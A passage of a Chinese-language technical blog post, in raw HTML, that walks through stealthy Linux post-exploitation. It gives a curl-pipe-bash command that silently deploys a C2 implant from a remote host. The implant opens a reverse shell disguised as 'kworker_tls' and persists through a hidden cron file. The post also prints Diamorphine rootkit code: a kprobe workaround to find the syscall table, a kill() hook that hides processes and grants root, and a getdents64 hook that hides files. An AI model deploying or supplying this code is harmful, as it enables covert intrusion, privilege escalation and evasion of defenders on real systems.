leaf="">ss</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">lsof</span></code><span leaf="">，什么都看不到。流量是 443 端口上的出站 HTTPS，通过防火墙时就像在访问一个普通网站。合法的 SNI，TLS 1.3，DPI 看不到内容。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">对蓝队来说，看起来这台服务器在访问 AWS 上的某个网站。因为从技术上讲确实如此——只不过在 HTTPS 之下跑着一个交互式 shell。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf=""># 在 target 上静默部署</span><br/></span><span leaf="">curl -fsSL <a href="https://meu.c2.incrivel/" target="_blank">https://meu.c2.incrivel/</a> </span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span leaf=""> bash</span><span style="color: rgb(106, 115, 125);"><span leaf=""># 脚本下载二进制，重命名为 kworker_tls，移到 /usr/sbin/</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># 记录生成的 secret（32 字符）</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># 通过 cron @reboot 持久化，无可见 crontab</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># operator 端</span><br/></span><span leaf="">c2-client /bin/bash</span><span style="color: rgb(106, 115, 125);"><span leaf=""># 通过 relay 的交互式反向 shell</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">让这套方案奏效的关键细节：C2 二进制被重命名为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kworker_tls</span></code><span leaf="">。如果有人运行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ps aux</span></code><span leaf="">看到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kworker_tls</span></code><span leaf="">，会以为这是一个内核 worker thread。名字很普通，没有已知的签名，二进制里没有可疑字符串。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">它能通过检测的原因：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">无监听端口 — </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">netstat -tlnp</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ss -tlnp</span></code><span leaf="">什么都看不到</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">仅出站连接 — 绕过防火墙入站规则</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">TLS 1.3 加密 — DPI 看不到内容</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">合法 SNI — 显示为发往 Cloudflare/AWS 的流量</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">无明显二进制 — 重命名为 kworker_tls，被 LD_PRELOAD 隐藏</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">无可见 crontab — 通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/cron.d/__rk_c2</span></code><span leaf="">持久化（被 diamorphine 隐藏的文件）</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">但仅仅重命名还不够。如果有人运行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ls /usr/sbin/ | grep c2</span></code><span leaf="">，还是能找到。这时候层级 2 就登场了。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">[ 0x05 ] 层级 2 — 撒谎的内核（DIAMORPHINE LKM）</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Diamorphine 是 m0nad 开发的开源 LKM rootkit。LKM = Loadable Kernel Module。它是一个你用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">insmod</span></code><span leaf="">加载的内核模块，从那一刻起就活在内核里，可以访问一切。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Diamorphine 具体做的事：hook syscall table。Syscall table 本质上是内核暴露给用户态的函数列表。当你运行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ls</span></code><span leaf="">时，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ls</span></code><span leaf="">调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getdents()</span></code><span leaf="">这个 syscall。Diamorphine 把这个 syscall 替换成自己的版本，过滤掉结果。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Diamorphine 在现代内核（5.7+）上的问题是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kallsyms_lookup_name</span></code><span leaf="">不再被导出。这原本是 rootkit 用来查找 syscall table 地址的函数。解决方案是通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kprobe</span></code><span leaf="">绕过：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">static</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">long</span></span><span leaf=""> *p_sys_call_table;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">static</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">kprobe</span></span><span leaf=""> kp = {</span><br/><span leaf="">    .</span><span style="color: rgb(36, 41, 46);"><span leaf="">symbol_name</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;kallsyms_lookup_name&#34;</span></span><br/><span leaf="">};</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">register_kprobe</span></span><span leaf="">(&amp;kp);</span><br/><span leaf="">p_kallsyms_lookup_name = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">long</span></span><span leaf="">*)kp.addr;</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">unregister_kprobe</span></span><span leaf="">(&amp;kp);</span><br/><span leaf="">p_sys_call_table = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">long</span></span><span leaf="">*)p_kallsyms_lookup_name(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;sys_call_table&#34;</span></span><span leaf="">);</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">也就是说：你在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kallsyms_lookup_name</span></code><span leaf="">符号上注册一个 kprobe，内核给你地址，你注销 kprobe，然后用这个地址直接调用函数。丑陋但有效。从那一刻起你就有了 syscall table 的地址，可以替换其中的条目。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">主要的 hook 有三个。第一个在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sys_kill</span></code><span leaf="">上，Diamorphine 用&#34;秘密&#34;信号作为命令：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">asmlinkage </span><span style="color: rgb(215, 58, 73);"><span leaf="">long</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">hacked_kill</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">pid_t</span></span><span leaf=""> pid, </span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf=""> sig) {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (sig == </span><span style="color: rgb(0, 92, 197);"><span leaf="">31</span></span><span leaf="">) {  </span><span style="color: rgb(106, 115, 125);"><span leaf="">// 隐藏 PID 为 pid 的进程</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">task_struct</span></span><span leaf=""> *p = </span><span style="color: rgb(0, 92, 197);"><span leaf="">find_task_by_vpid</span></span><span leaf="">(pid);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (p) p-&gt;flags |= PF_INVISIBLE;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">    }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (sig == </span><span style="color: rgb(0, 92, 197);"><span leaf="">63</span></span><span leaf="">) {  </span><span style="color: rgb(106, 115, 125);"><span leaf="">// 切换模块可见性</span><br/></span><span leaf="">        module_hidden = !module_hidden;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (module_hidden) </span><span style="color: rgb(0, 92, 197);"><span leaf="">list_del</span></span><span leaf="">(&amp;module_list);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">list_add</span></span><span leaf="">(&amp;module_list, &amp;__this_module.</span><span style="color: rgb(36, 41, 46);"><span leaf="">list</span></span><span leaf="">);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">    }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (sig == </span><span style="color: rgb(0, 92, 197);"><span leaf="">64</span></span><span leaf="">) {  </span><span style="color: rgb(106, 115, 125);"><span leaf="">// 获取 root</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">cred</span></span><span leaf=""> *</span><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span leaf=""> = </span><span style="color: rgb(0, 92, 197);"><span leaf="">prepare_creds</span></span><span leaf="">();</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span leaf="">-&gt;uid = </span><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span leaf="">-&gt;gid = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span leaf="">-&gt;euid = </span><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span leaf="">-&gt;egid = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">commit_creds</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span leaf="">);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">    }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">orig_kill</span></span><span leaf="">(pid, sig);</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">也就是说：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kill -31 &lt;pid&gt;</span></code><span leaf="">隐藏一个进程。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kill -63</span></code><span leaf="">切换模块自身在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">lsmod</span></code><span leaf="">中的可见性。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kill -64 &lt;pid&gt;</span></code><span leaf="">给任意进程瞬间赋予 root。没用过 diamorphine 的话，知道这些就够了 :p</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第二个 hook 在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sys_getdents</span></code><span leaf="">上，它让文件消失：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">asmlinkage </span><span style="color: rgb(215, 58, 73);"><span leaf="">long</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">hacked_getdents64</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf=""> fd, </span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">linux_dirent64</span></span><span leaf=""> *dirp, </span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf=""> count) {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf=""> ret = </span><span style="color: rgb(0, 92, 197);"><span leaf="">orig_getdents64</span></span><span leaf="">(fd, dirp, count);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (ret &lt;= </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">) </span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> ret;</span><span style="color: rgb(106, 115, 125);"><span leaf="">// 过滤带 __rk_ 前缀的条目</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">linux_dirent64</span></span><span leaf=""> *d;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf=""> offset = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">while</span></span><span leaf=""> (offset &lt; ret) {</span><br/><span leaf="">        d = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf="">*)dirp + offset;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">strncmp</span></span><span leaf="">(d-&gt;d_name, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;__rk_&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">5</span></span><span leaf="">) == </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">) {</span><span style="color: rgb(106, 115, 125);"><span leaf="">// 移除条目：移动缓冲区</span><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">memmove</span></span><span leaf="">(d, (</span><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf="">*)d + d-&gt;d_reclen, ret - offset - d-&gt;d_reclen);</span><br/><span leaf="">            ret -= d-&gt;d_reclen;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">continue</span></span><span leaf="">;</span><br/><span leaf="">        }</span><br/><span leaf="">        offset += d-&gt;d_reclen;</span><br/><span leaf="">    }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> ret;</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">实际效果：任何带 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">__rk_</span></code><span leaf="">前缀的文件从所有目录列表中消失。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ls /tmp/</span></code><span leaf="">不显示。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">find / -name &#34;__rk_*&#34;</span></code><span leaf="">返回空。文件在磁盘上确实存在，但内核对所有询问的程序撒谎。代码做的事情很简单——在返回给用户态之前，从结果缓冲区里移除对应条目。程序收到的是不含 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">__rk_</span></code><span leaf="">条目的缓冲区，甚至不知道少了什么。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 